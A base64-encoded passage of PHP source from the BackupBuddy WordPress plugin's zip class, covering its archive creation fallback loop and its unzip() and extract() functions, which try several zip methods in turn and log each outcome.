ZSBvdmVyIHRoZSBtZXRob2RzIC0gb25jZSB3ZSBzdWNjZWVkIGp1c3QgcmV0dXJuIGRpcmVjdGx5IG90aGVyd2lzZSBkcm9wIHRocm91Z2gKCQkJZm9yZWFjaCAoICR6aXBfbWV0aG9kcyBhcyAkbWV0aG9kX3RhZyApIHsKCQkJCgkJCQkvLyBGaXJzdCBtYWtlIHN1cmUgd2UgY2FuIGFyY2hpdmUgd2l0aCB0aGlzIG1ldGhvZAoJCQkJaWYgKCAkdGhpcy0+X3ppcF9tZXRob2RzX2RldGFpbHNbICRtZXRob2RfdGFnIF1bICdhdHRyJyBdWyAnaXNfYXJjaGl2ZXInIF0gPT09IHRydWUgKSB7CgoJCQkJCSRjbGFzc19uYW1lID0gJ3BsdWdpbmJ1ZGR5X3piemlwJyAuICRtZXRob2RfdGFnOwoJCQoJCQkJCSR6aXBwZXIgPSBuZXcgJGNsYXNzX25hbWUoICR0aGlzICk7CgkJCQkJCgkJCQkJLy8gU2V0IHRoZXNlIG9uIHNwZWNpZmljIHppcHBlciBiYXNlZCBvbiB0aGUgdmFsdWVzIHdlIGRlcml2ZWQgYXQgY29uc3RydW5jdGlvbiBvcgoJCQkJCS8vIG92ZXJyaWRkZW4gYnkgc3Vic2VxdWVudCBtZXRob2QgY2FsbHMKCQkJCQkkemlwcGVyLT5zZXRfY29tcHJlc3Npb24oICR0aGlzLT5nZXRfY29tcHJlc3Npb24oKSApOwoJCQkJCSR6aXBwZXItPnNldF9pZ25vcmVfc3ltbGlua3MoICR0aGlzLT5nZXRfaWdub3JlX3N5bWxpbmtzKCkgKTsKCQkJCQkkemlwcGVyLT5zZXRfaWdub3JlX3dhcm5pbmdzKCAkdGhpcy0+Z2V0X2lnbm9yZV93YXJuaW5ncygpICk7CgkJCQkJCgkJCQkJLy8gV2UgbmVlZCB0byB0ZWxsIHRoZSBtZXRob2Qgd2hhdCBkZXRhaWxzIGJlbG9uZyB0byBpdAoJCQkJCSR6aXBwZXItPnNldF9tZXRob2RfZGV0YWlscyggJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzWyAkbWV0aG9kX3RhZyBdICk7CgkJCQkJCgkJCQkJLy8gVGVsbCB0aGUgbWV0aG9kIHRoZSBzZXJ2ZXIgYXBpIGluIHVzZQoJCQkJCSR6aXBwZXItPnNldF9zYXBpX25hbWUoICR0aGlzLT5nZXRfc2FwaV9uYW1lKCkgKTsKCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdUcnlpbmcgJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkbWV0aG9kX3RhZyAuIF9fKCcgbWV0aG9kIGZvciBaSVAuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQoJCQkJCS8vIEFzIHdlIGFyZSBsb29waW5nIG1ha2Ugc3VyZSB3ZSBoYXZlIG5vIHN0YWxlIGZpbGUgaW5mb3JtYXRpb24KCQkJCQljbGVhcnN0YXRjYWNoZSgpOwoJCQkJCQoJCQkJCS8vIFRoZSB0ZW1wb3JhcnkgemlwIGRpcmVjdG9yeSBfbXVzdF8gZXhpc3QKCQkJCQlpZiAoICFlbXB0eSggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICkgKSB7CgkJCQkJCgkJCQkJCWlmICggIWZpbGVfZXhpc3RzKCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgKSApIHsgLy8gQ3JlYXRlIHRlbXAgZGlyIGlmIGl0IGRvZXMgbm90IGV4aXN0LgoJCQkJCQkKCQkJCQkJCW1rZGlyKCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgKTsKCQkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCQkvLyBOb3cgd2UgYXJlIHJlYWR5IHRvIHRyeSBhbmQgcHJvZHVjZSB0aGUgYmFja3VwCgkJCQkJaWYgKCAkemlwcGVyLT5jcmVhdGUoICR6aXBfZmlsZSwgJGFkZF9kaXJlY3RvcnksICRzYW5pdGl6ZWRfZXhjbHVkZXMsICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSwgJGxpc3RtYWtlciApID09PSB0cnVlICkgewoJCQkJCQoJCQkJCQkvLyBHb3QgYSB2YWxpZCB6aXAgZmlsZSBzbyB3ZSBjYW4ganVzdCByZXR1cm4gLSBtZXRob2Qgd2lsbCBoYXZlIGNsZWFuZWQgdXAgdGhlIHRlbXBvcmFyeSBkaXJlY3RvcnkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVGhlICcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJG1ldGhvZF90YWcgLiBfXygnIG1ldGhvZCBmb3IgWklQIHdhcyBzdWNjZXNzZnVsLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJdW5zZXQoICR6aXBwZXIgKTsKCQkJCQkJCgkJCQkJCS8vIFdlIGhhdmUgdG8gcmV0dXJuIGhlcmUgYmVjYXVzZSB3ZSBjYW5ub3QgYnJlYWsgb3V0IG9mIGZvcmVhY2gKCQkJCQkJcmV0dXJuIHRydWU7CgkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBNZXRob2Qgd2lsbCBoYXZlIGNsZWFuZWQgdXAgdGhlIHRlbXBvcmFyeSBkaXJlY3RvcnkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1RoZSAnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRtZXRob2RfdGFnIC4gX18oJyBtZXRob2QgZm9yIFpJUCB3YXMgdW5zdWNjZXNzZnVsLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJCQkJCQkJCQkJCQoJCQkJCQl1bnNldCggJHppcHBlciApOwoJCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBUaGlzIG1ldGhvZCBpcyBub3QgY29uc2lkZXJlZCBzdWl0YWJsZSAocmVsaWFibGUgZW5vdWdoKSBmb3IgY3JlYXRpbmcgYXJjaGl2ZXMgb3IgbGFja2VkIHppcCBjYXBhYmlsaXR5CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVGhlICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkbWV0aG9kX3RhZyAuIF9fKCcgbWV0aG9kIGlzIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkIGZvciBiYWNrdXAuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwkJCQkJCgkJCQkKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyBJZiB3ZSBnZXQgaGVyZSB0aGVuIGhhdmUgZmFpbGVkIGluIGFsbCBhdHRlbXB0cwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGYWlsZWQgdG8gY3JlYXRlIGEgWmlwIEFyY2hpdmUgZmlsZSB3aXRoIGFueSBub21pbmF0ZWQgbWV0aG9kLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCgkJCXJldHVybiBmYWxzZTsKCQoJCX0KCgkJLyoqCgkJICoJdW56aXAoKQoJCSAqCgkJICoJRXh0cmFjdHMgdGhlIGNvbnRlbnRzIG9mIGEgemlwIGZpbGUgdG8gdGhlIHNwZWNpZmllZCBkaXJlY3RvcnkgdXNpbmcgdGhlIGJlc3QgdW56aXAgbWV0aG9kcyBwb3NzaWJsZS4KCQkgKgoJCSAqCUBwYXJhbQlzdHJpbmcJCSR6aXBfZmlsZQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gZXh0cmFjdCBmcm9tLgoJCSAqCUBwYXJhbQlzdHJpbmcJCSRkZXN0aW5hdGlvbl9kaXJlY3RvcnkJCUZ1bGwgZGlyZWN0b3J5IHBhdGggdG8gZXh0cmFjdCBpbnRvLgoJCSAqCUBwYXJhbQlib29sfHN0cmluZyAkZm9yY2VfY29tcGF0aWJpbGl0eV9tb2RlCUZhbHNlOiB1c2UgYWxsIGF2YWlsYWJsZSwgU3RyaW5nOiB1c2UgdGhhdCBtZXRob2QKCQkgKgoJCSAqCUByZXR1cm4JYm9vbAkJCQkJCQkJCXRydWUgb24gc3VjY2VzcywgZmFsc2Ugb3RoZXJ3aXNlCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHVuemlwKCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnksICRmb3JjZV9jb21wYXRpYmlsaXR5X21vZGUgPSBmYWxzZSApIHsKCgkJCSR6aXBfbWV0aG9kcyA9IGFycmF5KCk7CgkJCQoJCQkvLyBUaGUgZm9sbG93aW5nIGlzIGp1c3QgdG8gbWF0Y2ggY3VycmVudCBmdW5jdGlvbmFsaXR5IGZvciBpbXBvcnRidWRkeSAtIGlkZWFsbHkgd291bGQgcmF0aGVyCgkJCS8vIGRvIGl0IGJ5IHNlbGVjdGluZyBhdmFpbGFibGUgY29tcGF0aWJpbGl0eSBtZXRob2RzIGJhc2VkIG9uIG1ldGhvZCBhdHRyaWJ1dGVzIC0gbWF5IGRvIHRoYXQgbGF0ZXIKCQkJLy8gKHdvdWxkIGFsc28gbmVlZCBnZXRfY29tcGF0aWJpbGl0eV96aXBfbWV0aG9kcygpIHRvIGJlIHVwZGF0ZWQgdG8gdGFrZSBwYXJhbWV0ZXIgdG8gY2hlY2sKCQkJLy8gd2hldGhlciBjb21wYXRpYmlsaXR5IG1ldGhvZCBmb3IgdGhhdCBwYXJ0aWN1bGFyIGZ1bmN0aW9uLgoJCQkJCQkKCQkJLy8gRGVjaWRlIHdoaWNoIG1ldGhvZHMgd2UgYXJlIGdvaW5nIHRvIHRyeQoJCQlpZiAoICRmb3JjZV9jb21wYXRpYmlsaXR5X21vZGUgPT0gJ3ppcGFyY2hpdmUnICkgewoKCQkJCSR6aXBfbWV0aG9kcyA9IGFycmF5KCAnemlwYXJjaGl2ZScgKTsJCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsIF9fKCdGb3JjZWQgY29tcGF0aWJpbGl0eSB1bnppcCBtZXRob2QgKFppcEFyY2hpdmU7IG1lZGl1bSBzcGVlZCkgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCgkJCX0gZWxzZWlmICggJGZvcmNlX2NvbXBhdGliaWxpdHlfbW9kZSA9PSAncGNsemlwJyApIHsKCQkJCgkJCQkkemlwX21ldGhvZHMgPSBhcnJheSggJ3BjbHppcCcgKTsJCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsIF9fKCdGb3JjZWQgY29tcGF0aWJpbGl0eSB1bnppcCBtZXRob2QgKFBDTFppcDsgc2xvdyBzcGVlZCkgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwkJCQoJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQkkemlwX21ldGhvZHMgPSAkdGhpcy0+X3ppcF9tZXRob2RzOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVXNpbmcgYWxsIGF2YWlsYWJsZSB1bnppcCBtZXRob2RzIGluIHByZWZlcnJlZCBvcmRlci4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCX0KCQkJCQkJCgkJCS8vIEJldHRlciBtYWtlIHN1cmUgd2UgaGF2ZSBzb21lIGF2YWlsYWJsZSBtZXRob2RzCgkJCWlmICggZW1wdHkoICR6aXBfbWV0aG9kcyApICkgewoJCQkKCQkJCS8vIEhtbSwgd2UgZG9uJ3Qgc2VlbSB0byBoYXZlIGFueSBhdmFpbGFibGUgbWV0aG9kcywgb29wcywgYmVzdCBnbyBubyBmdXJ0aGVyCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdVbmFibGUgdG8gZXh0cmFjdCBiYWNrdXAgZmlsZSBjb250ZW50cyAoJTEkcyB0byAlMiRzKTogTm8gYXZhaWxhYmxlIHVuemlwIG1ldGhvZHMgZm91bmQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ICkgKTsKCQkJCQoJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCgkJCX0KCgkJCS8vIE1ha2Ugc3VyZSB3ZSBoYXZlIGEgbm9ybWFsaXplZCBkaXJlY3Rvcnkgc2VwYXJhdG9yIHN1ZmZpeAkKCQkJJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSA9IHJ0cmltKCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCBzZWxmOjpESVJFQ1RPUllfU0VQQVJBVE9SUyApIC4gc2VsZjo6Tk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SOwkJCgoJCQkvLyBJdGVyYXRlIG92ZXIgdGhlIG1ldGhvZHMgLSBvbmNlIHdlIHN1Y2NlZWQganVzdCByZXR1cm4gZGlyZWN0bHkgb3RoZXJ3aXNlIGRyb3AgdGhyb3VnaAoJCQlmb3JlYWNoICggJHppcF9tZXRob2RzIGFzICRtZXRob2RfdGFnICkgewoJCQkKCQkJCS8vIEZpcnN0IG1ha2Ugc3VyZSB3ZSBjYW4gY2hlY2sgZmlsZSBleGlzdGVuY2Ugd2l0aCB0aGlzIG1ldGhvZCAoaWdub3JlIHNpbGVudGx5IGlmIG5vdCkKCQkJCS8vIE5vdGU6IGhhcyB0byBiZSBhYmxlIHRvIHVuemlwIGFzIHdlbGwgYnV0IGlmIHRoYXQgZnVuY3Rpb25hbGl0eSB3YXNuJ3QgYXZhaWxhYmxlIGluCgkJCQkvLyB0aGUgbWV0aG9kIHRoZSBpc19jaGVja2VyIGF0dHJpYnV0ZSB3aWxsIGhhdmUgYmVlbiBzZXQgZmFsc2UKCQkJCWlmICggJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzWyAkbWV0aG9kX3RhZyBdWyAnYXR0cicgXVsgJ2lzX3VuYXJjaGl2ZXInIF0gPT09IHRydWUgKSB7CgoJCQkJCSRjbGFzc19uYW1lID0gJ3BsdWdpbmJ1ZGR5X3piemlwJyAuICRtZXRob2RfdGFnOwoJCQoJCQkJCSR6aXBwZXIgPSBuZXcgJGNsYXNzX25hbWUoICR0aGlzICk7CgkJCQkJCgkJCQkJLy8gV2UgbmVlZCB0byB0ZWxsIHRoZSBtZXRob2Qgd2hhdCBkZXRhaWxzIGJlbG9uZyB0byBpdAoJCQkJCSR6aXBwZXItPnNldF9tZXRob2RfZGV0YWlscyggJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzWyAkbWV0aG9kX3RhZyBdICk7CgkJCQkJCQkJCQkKCQkJCQkvLyBOb3cgd2UgYXJlIHJlYWR5IHRvIHRyeSBhbmQgZXh0cmFjdCB0aGUgYmFja3VwCgkJCQkJJHJlc3VsdCA9ICR6aXBwZXItPmV4dHJhY3QoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSApOwoJCQkJCQoJCQkJCS8vIFdpbGwgYmUgZmFsc2UgaWYgd2UgY291bGRuJ3QgZXh0cmFjdCB0aGUgYmFja3VwCgkJCQkJaWYgKCAkcmVzdWx0ID09PSB0cnVlICkgewoJCQkJCQoJCQkJCQkvLyBNdXN0IGFzc3VtZSB0aGF0IHdlIGV4dHJhY3RlZCBvawoJCQkJCQl1bnNldCggJHppcHBlciApOwoJCQkJCQkKCQkJCQkJLy8gV2UgaGF2ZSB0byByZXR1cm4gaGVyZSBiZWNhdXNlIHdlIGNhbm5vdCBicmVhayBvdXQgb2YgZm9yZWFjaAoJCQkJCQlyZXR1cm4gdHJ1ZTsKCQoJCQkJCX0gZWxzZSB7CgkJCQkJCgkJCQkJCS8vIFRoZSB6aXBwZXIgZW5jb3VudGVyZWQgYW4gZXJyb3Igc28gd2UgbmVlZCB0byBkcm9wIHRocm91Z2ggYW5kIGxvb3Agcm91bmQgdG8gdHJ5IGFub3RoZXIKCQkJCQkJLy8gV2UnbGwgbm90IHByb2Nlc3MgdGhlIHJlc3VsdCBoZXJlLCBqdXN0IGRyb3AgdGhyb3VnaCBzaWxlbnRseSAodGhlIG1ldGhvZCB3aWxsIGhhdmUgbG9nZ2VkIGl0KQkJCQoJCQkJCQl1bnNldCggJHppcHBlciApOwoJCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyBJZiB3ZSBnb3QgdGhpcyBmYXIgdGhlbiBubyBtZXRob2QgdG8gZXh0cmFjdCBiYWNrdXAgY29udGVudCB3YXMgYXZhaWxhYmxlIG9yIHdvcmtlZAoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdVbmFibGUgdG8gZXh0cmFjdCBiYWNrdXAgZmlsZSBjb250ZW50cyAoJTEkcyB0byAlMiRzKTogTm8gY29tcGF0aWJsZSB6aXAgbWV0aG9kIGZvdW5kLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSApICk7CgkJCXJldHVybiBmYWxzZTsKCQkJCgkJfQoJCQoJCS8qKgoJCSAqCWV4dHJhY3QoKQoJCSAqCgkJICoJRXh0cmFjdHMgdGhlIHNwZWNpZmllZCBjb250ZW50cyBvZiBhIHppcCBmaWxlIHRvIHRoZSBzcGVjaWZpZWQgZGVzdGluYXRpb24gdXNpbmcgdGhlIGJlc3QgdW56aXAgbWV0aG9kcyBwb3NzaWJsZS4KCQkgKglUaGUgZGVzdGluYXRpb24gZGlyZWN0b3J5IF9tdXN0XyBhbHJlYWR5IGV4aXN0IGFuZCBiZSB3cml0YWJsZSAtIHRoaXMgZnVuY3Rpb24gZG9lcyBub3QgY3JlYXRlIGl0CgkJICoJVGhlIGl0ZW1zIGFyZSBhbiBhcnJheSBvZiBtYXBwaW5nIG9mIHdoYXQgPT4gd2hlcmUsIGUuZy4KCQkgKglhcnJheSggImRpci9teWZpbGUudHh0IiA9PiAiIiwgImRpci9teWZpbGUudHh0IiA9PiAidG1wZmlsZW5hbWUiLCAiZGlyL215ZmlsZS50eHQiID0+ICJkaXIvbXlmaWxlLnR4dCIgKQoJCSAqCUluIHRoZSBmaXJzdCBjYXNlIHRoZSBmaWxlIGlzIGV4dHJhY3RlZCB0byAkZGVzdGluYXRpb25fZGlyZWN0b3J5L215ZmlsZS50eHQKCQkgKglJbiB0aGUgc2Vjb25kIGNhc2UgdGhlIGZpbGUgaXMgZXh0cmFjdGVkIHRvICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkvdG1wZmlsZW5hbWUKCQkgKglJbiB0aGUgdGhpcmQgY2FzZSB0aGUgZmlsZSBpcyBleHRyYWN0ZWQgdG8gJGRlc3RpbmF0aW9uX2RpcmVjdG9yeS9kaXIvbXlmaWxlLnR4dAoJCSAqCU5vdGU6IGluIHRoZSBzZWNvbmQgY2FzZSB0aGUgZmlsZSBpcyBpbml0aWFsbHkgZXh0cmNhdGVkIGFzIG15ZmlsZS50eHQgYW5kIHRoZW4gcmVuYW1lIHRvIHRtcGZpbGVuYW1lCgkJICoJQW5vdGhlciBleGFtcGxlIGlzIGZvciBkaXJlY3RvcnkgZXh0cmFjdGlvbjoKCQkgKglhcnJheSggImRpci8qIiA9PiAiZGlyLyoiICkKCQkgKglXaGVyZWJ5IHRoZSBkaXJlY3RvcnkgZGlyIGFuZCBhbGwgaXQncyBjb250ZW50IChyZWN1cnNpdmVseSkgaXMgZXh0cmFjdGVkIHRvICRkZXN0aW5hdGlvbi9kaXIKCQkgKglOb3RlOiB0aGUgKiBpcyByZXF1aXJlZCBvdGhlcndpc2UgeW91IGp1c3QgZ2V0IGFuIGVtcHR5IGRpcmVjdG9yeQoJCSAqCgkJICoJQHBhcmFtCXN0cmluZwkkemlwX2ZpbGUJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gZXh0cmFjdCBmcm9tLgoJCSAqCUBwYXJhbQlzdHJpbmcJJGRlc3RpbmF0aW9uX2RpcmVjdG9yeQlGdWxsIGRpcmVjdG9yeSBwYXRoIHRvIGV4dHJhY3QgdG8KCQkgKglAcGFyYW0JYXJyYXkJJGl0ZW1zCQkJCQlNYXBwaW5nIG9mIHdoYXQgdG8gZXh0cmFjdCBhbmQgdG8gd2hhdAoJCSAqCgkJICoJQHJldHVybglib29sCQkJCQkJCXRydWUgb24gc3VjY2VzcyAoYWxsIGV4dHJhY3Rpb25zIHN1Y2Nlc3NmdWwpLCBmYWxzZSBvdGhlcndpc2UKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZXh0cmFjdCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCAkaXRlbXMgKSB7CgoJCQkkemlwX21ldGhvZHMgPSBhcnJheSgpOwoJCQkKCQkJLy8gVGhlIGZvbGxvd2luZyBpcyBqdXN0IHRvIG1hdGNoIGN1cnJlbnQgZnVuY3Rpb25hbGl0eSBmb3IgaW1wb3J0YnVkZHkgLSBpZGVhbGx5IHdvdWxkIHJhdGhlcgoJCQkvLyBkbyBpdCBieSBzZWxlY3RpbmcgYXZhaWxhYmxlIGNvbXBhdGliaWxpdHkgbWV0aG9kcyBiYXNlZCBvbiBtZXRob2QgYXR0cmlidXRlcyAtIG1heSBkbyB0aGF0IGxhdGVyCgkJCS8vICh3b3VsZCBhbHNvIG5lZWQgZ2V0X2NvbXBhdGliaWxpdHlfemlwX21ldGhvZHMoKSB0byBiZSB1cGRhdGVkIHRvIHRha2UgcGFyYW1ldGVyIHRvIGNoZWNrCgkJCS8vIHdoZXRoZXIgY29tcGF0aWJpbGl0eSBtZXRob2QgZm9yIHRoYXQgcGFydGljdWxhciBmdW5jdGlvbi4KCQkJCQkJCgkJCSR6aXBfbWV0aG9kcyA9ICR0aGlzLT5femlwX21ldGhvZHM7CgkJCQkJCQoJCQkvLyBCZXR0ZXIgbWFrZSBzdXJlIHdlIGhhdmUgc29tZSBhdmFpbGFibGUgbWV0aG9kcwoJCQlpZiAoIGVtcHR5KCAkemlwX21ldGhvZHMgKSApIHsKCQkJCgkJCQkvLyBIbW0sIHdlIGRvbid0IHNlZW0gdG8gaGF2ZSBhbnkgYXZhaWxhYmxlIG1ldGhvZHMsIG9vcHMsIGJlc3QgZ28gbm8gZnVydGhlcgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnVW5hYmxlIHRvIGV4dHJhY3QgZnJvbSBiYWNrdXAgZmlsZSAoJTEkcyB0byAlMiRzKTogTm8gYXZhaWxhYmxlIHVuemlwIG1ldGhvZHMgZm91bmQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlLCAkZGVzdGluYXRpb24gKSApOwoJCQkJCgkJCQlyZXR1cm4gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJaWYgKCAhKCBmaWxlX2V4aXN0cyggJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSApICYmIGlzX2RpciggJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSApICYmIGlzX3dyaXRhYmxlKCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ICkgKSApIHsKCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdVbmFibGUgdG8gZXh0cmFjdCBmcm9tIGJhY2t1cCBmaWxlICglMSRzIHRvICUyJHMpOiAlMiRzIGRvZXMgbm90IGV4aXN0LCBpcyBub3QgYSBkaXJlY3Rvcnkgb3IgaXMgbm90IHdyaXRlYWJsZScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSApICk7CgkJCQoJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCgkJCX0KCQkJCgkJCS8vIE1ha2Ugc3VyZSB3ZSBoYXZlIGEgbm9ybWFsaXplZCBkaXJlY3Rvcnkgc2VwYXJhdG9yIHN1ZmZpeAkKCQkJJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSA9IHJ0cmltKCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCBzZWxmOjpESVJFQ1RPUllfU0VQQVJBVE9SUyApIC4gc2VsZjo6Tk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SOwkJCgoJCQkvLyBJdGVyYXRlIG92ZXIgdGhlIG1ldGhvZHMgLSBvbmNlIHdlIHN1Y2NlZWQganVzdCByZXR1cm4gZGlyZWN0bHkgb3RoZXJ3aXNlIGRyb3AgdGhyb3VnaAoJCQlmb3JlYWNoICggJHppcF9tZXRob2RzIGFzICRtZXRob2RfdGFnICkgewoJCQkKCQkJCS8vIEZpcnN0IG1ha2Ugc3VyZSB3ZSBjYW4gY2hlY2sgZmlsZSBleGlzdGVuY2Ugd2l0aCB0aGlzIG1ldGhvZCAoaWdub3JlIHNpbGVudGx5IGlmIG5vdCkKCQkJCS8vIE5vdGU6IGhhcyB0byBiZSBhYmxlIHRvIHVuemlwIGFzIHdlbGwgYnV0IGlmIHRoYXQgZnVuY3Rpb25hbGl0eSB3YXNuJ3QgYXZhaWxhYmxlIGluCgkJCQkvLyB0aGUgbWV0aG9kIHRoZSBpc19jaGVja2VyIGF0dHJpYnV0ZSB3aWxsIGhhdmUgYmVlbiBzZXQgZmFsc2UKCQkJCWlmICggJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzWyAkbWV0aG9kX3RhZyBdWyAnYXR0cicgXVsgJ2lzX2V4dHJhY3RvcicgXSA9PT0gdHJ1ZSApIHsKCgkJCQkJJGNsYXNzX25hbWUgPSAncGx1Z2luYnVkZHlfemJ6aXAnIC4gJG1ldGhvZF90YWc7CgkJCgkJCQkJJHppcHBlciA9IG5ldyAkY2xhc3NfbmFtZSggJHRoaXMgKTsKCQkJCQkKCQkJCQkvLyBXZSBuZWVkIHRvIHRlbGwgdGhlIG1ldGhvZCB3aGF0IGRldGFpbHMgYmVsb25nIHRvIGl0CgkJCQkJJHppcHBlci0+c2V0X21ldGhvZF9kZXRhaWxzKCAkdGhpcy0+X3ppcF9tZXRob2RzX2RldGFpbHNbICRtZXRob2RfdGFnIF0gKTsKCQkJCQkJCQkJCQoJCQkJCS8vIE5vdyB3ZSBhcmUgcmVhZHkgdG8gdHJ5IGFuZCBleHRyYWN0IGZyb20gdGhlIGJhY2t1cAoJCQkJCSRyZXN1bHQgPSAkemlwcGVyLT5leHRyYWN0KCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnksICRpdGVtcyApOwoJCQkJCQoJCQkJCS8vIFdpbGwgYmUgZmFsc2UgaWYgd2UgY291bGRuJ3QgZXh0cmFjdCBmcm9tIHRoZSBiYWNrdXAKCQkJCQlpZiAoICRyZXN1bHQgPT09IHRydWUgKSB7CgkJCQkJCgkJCQkJCS8vIE11c3QgYXNzdW1lIHRoYXQgd2UgZXh0cmFjdGVkIG9rCgkJCQkJCXVuc2V0KCAkemlwcGVyICk7CgkJCQkJCQoJCQkJCQkvLyBXZSBoYXZlIHRvIHJldHVybiBoZXJlIGJlY2F1c2Ugd2UgY2Fubm90IGJyZWFrIG91dCBvZiBmb3JlYWNoCgkJCQkJCXJldHVybiB0cnVlOwoJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gVGhlIHppcHBlciBlbmNvdW50ZXJlZCBhbiBlcnJvciBzbyB3ZSBuZWVkIHRvIGRyb3AgdGhyb3VnaCBhbmQgbG9vcCByb3VuZCB0byB0cnkgYW5vdGhlcgoJCQkJCQkvLyBXZSdsbCBub3QgcHJvY2VzcyB0aGUgcmVzdWx0IGhlcmUsIGp1c3QgZHJvcCB0aHJvdWdoIHNpbGVudGx5ICh0aGUgbWV0aG9kIHdpbGwgaGF2ZSBsb2dnZWQgaXQpCQkJCgkJCQkJCXVuc2V0KCAkemlwcGVyICk7CgkJCQkJCQoJCQkJCX0KCQkJCQoJCQkJfQoJCQkJCgkJCX0KCQkJCgkJCS8vIElmIHdlIGdvdCB0aGlzIGZhciB0aGVuIG5vIG1ldGhvZCB0byBleHRyYWN0IGZyb20gYmFja3VwIGNvbnRlbnQgd2FzIGF2YWlsYWJsZSBvciB3b3JrZWQKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnVW5hYmxlIHRvIGV4dHJhY3QgZnJvbSBiYWNrdXAgZmlsZSAoJTEkcyB0byAlMiRzKTogTm8gY29tcGF0aWJsZSB6aXAgbWV0aG9kIGZvdW5kLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSApICk7CgkJCXJldHVybiBmYWxzZTsKCQkJCgkJfQoJCQoJCS8qKgoJCSAqCWZpbGVfZXhpc3RzKCkKCQkgKgkKCQkgKglUZXN0cyB3aGV